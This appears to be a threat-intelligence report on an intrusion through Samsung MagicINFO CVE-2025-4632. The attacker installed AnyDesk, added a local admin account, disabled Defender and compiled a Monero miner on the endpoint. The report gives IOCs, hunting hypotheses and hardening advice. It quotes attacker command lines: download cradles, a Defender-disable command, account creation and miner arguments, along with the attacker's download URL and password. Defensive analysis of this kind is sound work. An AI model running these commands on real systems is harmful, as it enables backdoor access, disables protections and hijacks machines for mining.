6 minhigh
The Not So Silent Miner: Threat Actor Compiles Cryptominer on the Endpoint
Threat actor exploits Samsung MagicINFO CVE-2025-4632 to install AnyDesk, disable Defender, and compile a Monero cryptominer directly on the endpoint. The attacker used CVE-2025-4632 in Samsung MagicINFO to execute commands as SYSTEM via Apache Tomcat, downloading AnyDesk from 194.87.89.30 after two failed attempts. They created a local admin account, disabled Defender via SystemSettingsAdminFlows.exe, and used Silent XMR Miner Builder to compile a cryptominer on-host using .NET and C compilers, which then connected to C3Pool for Monero mining.
Sens:▲ 24hConf:
IOCs9
2cve2file path1filename1ip1sha11sha2561url
Detection / Hunteropenrouter
Immediate Actions
defender takeaway
- Patch Samsung MagicINFO to the latest version immediately
- Block 194.87.89.30 at network perimeter and proxy
- Hunt for local account oldadministrator across the environment
- Isolate endpoints with AnyDesk.exe in C:\ProgramData\
Key Takeaways
- CVE-2025-4632 enables arbitrary file write as SYSTEM in Samsung MagicINFO, patched May 2025
- Actor needed three download attempts; first two blocked by Microsoft Defender
- SilentXMRMiner v1.5.1 builder invoked csc.exe, cvtres.exe, tcc.exe, gcc.exe, donut.exe as children
- Final miner ran as explorer.exe with XMRig arguments connecting to auto.c3pool.org:19999
- SystemSettingsAdminFlows.exe used to disable Windows Defender real-time protection
Attack Chain
- Initial Access: CVE-2025-4632 exploited in Samsung MagicINFO to execute commands as SYSTEM via Apache Tomcat
- Tool Transfer: AnyDesk downloaded from 194.87.89.30 via PowerShell WebClient after two failed attempts blocked by Defender
- Persistence: AnyDesk installed with password; local admin account oldadministrator created with same password
- Defense Evasion: Windows Defender real-time protection disabled via SystemSettingsAdminFlows.exe
- Execution: Silent XMR Miner Builder compiled cryptominer using .NET and C compilers on endpoint
- Impact: Compiled miner injected into explorer.exe, connecting to C3Pool for Monero mining
Affected Systems
- Samsung MagicINFO Premium installations
- Windows endpoints with Apache Tomcat service
- Windows endpoints with .NET Framework and C compilers
- Systems running Microsoft Defender
Vulnerabilities (CVEs)
| CVE | Product | Severity | Description |
|---|---|---|---|
| CVE-2025-4632 | Samsung MagicINFO | High | Enables arbitrary file write as system authority on Samsung MagicINFO |
| CVE-2024-7399 | Samsung MagicINFO | Earlier Samsung MagicINFO flaw with incomplete fix leading to CVE-2025-4632 |
Detection Availability
No detection rules or queries are published in the source article.
Detection Engineering Assessment
Hypotheses are starting points derived from the article, not findings about your environment; validate against your own telemetry.
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | High | EDR captured full process hierarchies, command lines, file hashes, and signature status throughout the attack chain. |
| Network Visibility | Medium | HTTP downloads and mining pool stratum connections on non-standard ports were visible in telemetry. |
| Detection Difficulty | Easy | Multiple high-fidelity signals: compiler chain from unsigned parent, explorer.exe with mining arguments, Defender disable via uncommon binary. |
Hunting Hypotheses
| Hypothesis | Telemetry | Stage | FP Risk |
|---|---|---|---|
| explorer.exe with mining-specific command-line arguments indicates process injection for cryptomining (T1496, T1055) | Process command-line logs | Impact | Low — explorer.exe never uses mining flags legitimately |
| Compiler processes spawned by unsigned parent binaries indicate on-endpoint malware compilation (T1059) | Process creation and signature status logs | Execution | Medium — developer workstations run compilers normally |
| SystemSettingsAdminFlows.exe invoked with Defender RTP arguments indicates defense impairment (T1562.001) | Process command-line logs | Defense Evasion | Low — legitimate Defender config uses Settings UI not CLI |
| Web server process spawning download utilities indicates exploitation of public-facing application (T1190, T1105) | Process ancestry and command-line logs | Initial Access | Low — web services rarely spawn certutil or PowerShell |
Required Log Sources
- EDR process telemetry
- Windows Event Log 4688
- PowerShell Script Block logs
- Network connection logs
- Windows Event Log 4624
- Windows Security Event 4720
Key Behavioral Indicators
- tomcat9.exe as grandparent of download or shell commands
- explorer.exe with mining-specific command-line arguments
- Multiple compiler processes from unsigned parent binary
- SystemSettingsAdminFlows.exe with Defender RTP arguments
- net user creation from cmd.exe spawned by web service
- AnyDesk.exe in C:\ProgramData\ path
Control Gaps
- Antivirus disabled by attacker; no tamper protection enforced
- No application allowlisting; unsigned binaries executed freely
- Public-facing MagicINFO service left unpatched after fix available
- No monitoring for compiler activity on endpoints
- No alerting on RMM tool installation in non-standard paths
False Positive Assessment
Low — explorer.exe with mining arguments and compiler chains from unsigned parents are high-fidelity indicators with minimal legitimate use.
Recommendations
Suggestions to evaluate against your own environment, tooling, and incident-response procedures — not directives.
Infrastructure Hardening
- Block mining pool endpoints at network egress points
- Enable Tamper Protection on Microsoft Defender
- Restrict outbound connections on non-standard ports from servers
- Implement network segmentation for public-facing services
User Protection
- Deploy EDR with process ancestry monitoring on all endpoints
- Enable PowerShell script block logging and command-line auditing
- Alert on AnyDesk installations in non-standard paths
- Alert on compiler execution from user profile directories
Security Awareness
- Train analysts to treat repeated RMM tool downloads as compromise indicators
- Monitor for unusual compiler activity, not just known miner binaries
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping11 techniques
Tactic
Initial Access
Tactic
Execution
Tactic
Persistence
Tactic
Privilege Escalation
Tactic
Stealth
Tactic
Command and Control
Tactic
Impact
Plain-Language Summary
Hackers broke into a computer through a known flaw in Samsung's MagicINFO display software. They installed remote access software, created a new administrator account, and turned off the antivirus. Then they used special tools to build a cryptocurrency mining program directly on the computer. The mining program used the computer's processor to earn cryptocurrency for the attackers. Organizations should patch Samsung MagicINFO and watch for unusual software-building activity.
Additional IOCs
- File Hashes:
8f33e2fb1729168ed40203f547b8c54285e6a6c9(SHA1) - Compiled cryptominer x.exe SHA1 hash
- File Paths:
C:\ProgramData\AnyDesk.exe- Rogue AnyDesk installation pathC:\Users\oldadministrator\Documents\x.exe- Compiled cryptominer execution path
- Command Lines:
- Purpose: Download AnyDesk from attacker server via certutil | Tools:
certutil.exe,cmd.exe| Stage: Initial Access |certutil -urlcache -split -f - Purpose: Download AnyDesk via PowerShell Invoke-WebRequest | Tools:
powershell.exe,cmd.exe| Stage: Initial Access |powershell -c Invoke-WebRequest -Uri - Purpose: Download AnyDesk via PowerShell WebClient (successful attempt) | Tools:
powershell.exe| Stage: Initial Access |powershell -c (New-Object System.Net.WebClient).DownloadFile - Purpose: Set AnyDesk remote access password | Tools:
cmd.exe,AnyDesk.exe| Stage: Persistence |C:\ProgramData\AnyDesk.exe --set-password - Purpose: Create new local administrator account | Tools:
cmd.exe,net.exe| Stage: Persistence |net user <account> /add - Purpose: Disable Windows Defender real-time protection | Tools:
SystemSettingsAdminFlows.exe| Stage: Defense Evasion |SystemSettingsAdminFlows.exe Defender RTP 1 - Purpose: Execute cryptominer under injected explorer.exe with mining pool connection | Tools:
explorer.exe| Stage: Execution |explorer.exe --cinit-find-x -B --algo=rx/0
- Purpose: Download AnyDesk from attacker server via certutil | Tools:
- Other:
oldadministrator- Created local admin account nameF@x2020!@#- Password for new account and AnyDesk
Showing defanged values
- cveCVE-2024-7399Earlier Samsung MagicINFO flaw with incomplete fix leading to CVE-2025-4632
- cveCVE-2025-4632Enables arbitrary file write as system authority on Samsung MagicINFO
- filenameSilentXMRMinerBuilder.exeCryptominer builder that compiled miner on-host
- file_pathC:\ProgramData\AnyDesk.exeRogue AnyDesk installation path
- file_pathC:\Users\oldadministrator\Documents\x.exeCompiled cryptominer execution path
- ip194[.]87[.]89[.]30AnyDesk download server used in attack
- sha18f33e2fb1729168ed40203f547b8c54285e6a6c9Compiled cryptominer x.exe SHA1 hash
- sha2560d202e16408770e8b6cceb14e1e3e72946b154bf881d27fe33d0060315b30dd1Compiled cryptominer x.exe hash
- urlhxxp://194[.]87[.]89[.]30:8899/anydesk[.]exeAnyDesk executable download URL